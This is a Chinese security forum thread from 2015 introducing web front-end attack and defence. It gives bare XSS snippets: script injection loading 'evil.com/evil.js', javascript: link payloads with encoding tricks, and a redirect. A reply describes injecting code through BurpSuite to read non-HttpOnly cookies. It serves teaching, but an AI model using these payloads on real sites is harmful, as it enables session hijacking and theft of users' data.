首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 峰会 看雪商城 证书查询
  1. 社区
  2. WEB安全
    3. 发新帖
web基础设施知识；web前端安全攻防，客户端安全基础
发表于: 2015-3-31 23:25 9997

web基础设施知识；web前端安全攻防，客户端安全基础

shayi 活跃值
9
2015-3-31 23:25
9997
"<title><script>src=http"
<script>
        var s = document.createElement("script");
        s.src = "http://www.baidu.com";
        document.getElementsByTagName("head")[0].appendChild(s);
</script>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
        <title>XssPayloadTest</title>
    </head>
    <body>
        <script>
        var s = document.createElement("script");
        s.src = "http://www.baidu.com";
        document.getElementsByTagName("head")[0].appendChild(s);
        </script>
    </body>
</html>
s.src = "http://www.evil.com/evil.js";
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
        <title>XssPayloadTest</title>
         
    </head>
    <body>
        <!--<script>alert("xss!");</script>-->
        <!--
 
<script>alert("xss!");</
 
;script>-->
        <!--<script>alert("xss!");</script>-->
    </body>
</html>
<a href = "javascript:alert('xss!')">百度首页</a>
<a href = "javascript&colon;alert('xss!')">百度首页</a>　
<a href = "javascript%26colon%3Balert('xss!')">百度首页</a>
<script>location.href="http://www.baidu.com";</script>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
        <title>XssPayloadTest</title>
    </head>
    <body>
        <script>
        function XSS(){
        a = new ActiveXObject('Microsoft.XMLHTTP');
        a.open('get', 'http://www.baidu.com', false);
        a.send();
        b = a.responseText;
        document.write(b);
        }
        XSS();
        </script>
         
    </body>
</html>

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

上传的附件：
收藏
免费 ・0
支持
分享
最新回复 (35)
silence刘
雪    币： 79
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
2 楼
先mark一下。。
2015-3-31 23:53
0
fatecaster
雪    币： 135
活跃值： (63)
能力值： ( LV5，RANK：60 )
在线值：
发帖
回帖
粉丝
私信
3 楼
感谢分享，放假有空就学习下
2015-4-1 00:02
0
lookzo
雪    币： 6
活跃值： (1125)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
4 楼
支持楼主多发一些此类文章
2015-4-1 00:30
0
小霸王king
雪    币： 2
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
5 楼
不错 学习了
2015-4-1 09:29
0
HiHex
雪    币： 59
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
6 楼
好贴，慢慢消化
2015-4-1 09:31
0
mustcome
雪    币： 144
活跃值： (46)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
7 楼
感谢分享，
2015-4-1 13:45
0
shayi
雪    币： 1604
活跃值： (640)
能力值： ( LV13，RANK：460 )
在线值：
发帖
回帖
粉丝
私信
8 楼
论坛限制了每篇帖子引入的外链图片数量为40张，因此后续的内容和截图将在“续篇”帖中发表，敬请期待～
2015-4-10 15:51
0
namepe
雪    币： 3
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
9 楼
真心不错！！
2015-4-24 15:15
0
zhczf
雪    币： 11026
活跃值： (17530)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
10 楼
虽然看不懂，但知道这是好文章啊
2015-4-24 15:39
0
checkmate
雪    币： 22
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
11 楼
写的很NICE。希望做成一个系列。有目录就更好了
2015-4-24 19:01
0
sushuangju
雪    币： 268
活跃值： (114)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
12 楼
等以后看看
2015-4-25 22:19
0
shayi
雪    币： 1604
活跃值： (640)
能力值： ( LV13，RANK：460 )
在线值：
发帖
回帖
粉丝
私信
13 楼
补充内容

如果直接用 BurpSuite 拦截百度 web 服务器（下称 bws）返回的 HTTP 响应，利用 BurpSuite Proxy 的实时编辑功能，可以在响应体的 HTML 文本中插入自定义代码，然后再转发至客户端浏览器，这样后者将执行注入的代码，按照这种思路，就可以模拟出任何站点返回的页面被注入的场景，例如下面通过在 bws 返回的响应体的 HTML 页面中插入代码，将 bws 为访问站点的用户设置的 cookie 输出到页面上。通过这个示例可以看到 ：

1。BurpSuite 在 web 安全以及渗透测试领域的强大威力；

2。服务器除了可以在响应头中设置 cookie 外，也可以在响应体中的 HTML 文档的 script 标签内设置 cookie，2 种方式设置的 cookie 会被总合起来作为当前页面文档的 cookie；

3。没有指定 HttpOnly 属性的任何 cookie ，在 FireFox 中均可以用 document.cookie 读取（Chrome 的沙箱模型对于 javascript 代码的执行环境有严格限制，即便没有设置 HttpOnly 属性，默认情况也不能读取页面文档的 cookie）

首先在 BurpSuite Proxy 拦截到的 bws 响应数据中，切换到 “HTML”视图，这将仅显示响应体中的 HTML 文档，然后在最底部的搜索框中输入“</head>”字符串，目的是定位其后的 body 元素，并且在该元素的现有 script 标签内部插入自定义代码，模拟注入场景：



另外，切换到 Headers 视图，可以看到由 bws 通过响应头设置的 cookie 有３个：



在 HTML 视图的底部搜索框输入“BAIDUID”字符串后回车，定位到在响应体的HTML 文档的 script 标签内设置 cookie 的部分，这是“官方”设置的，没有经过我们修改或添加；其中有一个 cookie 名称为“BD_UPN”解答了前面我们找不到该 cookie 具体是在那里被设置的疑问，原来是在响应体中：



接下来，点击 BurpSuite Proxy 选项卡下的 Intercept 子选项卡中的“Forward”按钮，将我们编辑好的 bws 响应数据包，转发至客户端，让浏览器渲染 HTML 页面，执行我们在其中添加的代码：





如前所述，由 bws 设置的 cookie 之所以能够被客户端 javascript 读取，乃是由于其没有添加　HttpOnly 属性，各位可以在用 BurpSuite Proxy 拦截响应时，向 cookie 中添加 HttpOnly 属性，再转发至客户端，观察脚本能否读写 cookie，另外，也可以用 chrome 测试，了解沙箱模型如何限制客户端 javascript 的执行环境，从而阻止读取 cookie。
2015-4-29 11:15
0
hksuper
雪    币： 256
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
14 楼
学习一下
2015-5-22 12:22
0
assassion
雪    币： 3
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
15 楼
先mark下，回头再看
2015-6-26 20:51
0
奉先之灵
雪    币： 52
活跃值： (34)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
16 楼
Mark12
2015-6-26 22:42
0
blusoul
雪    币： 29
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
17 楼
谢谢楼主普及哈~~IE是支持localStorage的，本地不支持，但服务器端支持的，本地服务器也可以哈。。
2015-7-13 15:23
0
弹指江山
雪    币： 60
活跃值： (25)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
18 楼
tingbutingbuc  GOOD!!
2015-7-28 09:39
0
xjhma
雪    币： 244
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
19 楼
学习了，谢谢。
2015-7-28 14:04
0
shinfly
雪    币： 200
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
20 楼
支持一下
2015-7-29 09:56
0
powerx
雪    币： 209
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
21 楼
感谢楼主的分享精神
2015-7-29 15:35
0
Thorny波
雪    币： 61
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
22 楼
mark

谢楼主分享
2015-8-17 11:00
0
s雨后彩虹
雪    币： 4
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
23 楼
先谢楼主分享，再mark一下
2015-9-6 20:06
0
gqdsc
雪    币： 198
活跃值： (124)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
24 楼
真是好东西，等下想看
2015-9-14 16:07
0
flyeric
雪    币： 26
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
25 楼
学习一下
2015-9-23 17:23
0
游客
登录 | 注册 方可回帖
回帖 表情 雪币赚取及消费
高级回复
返回
//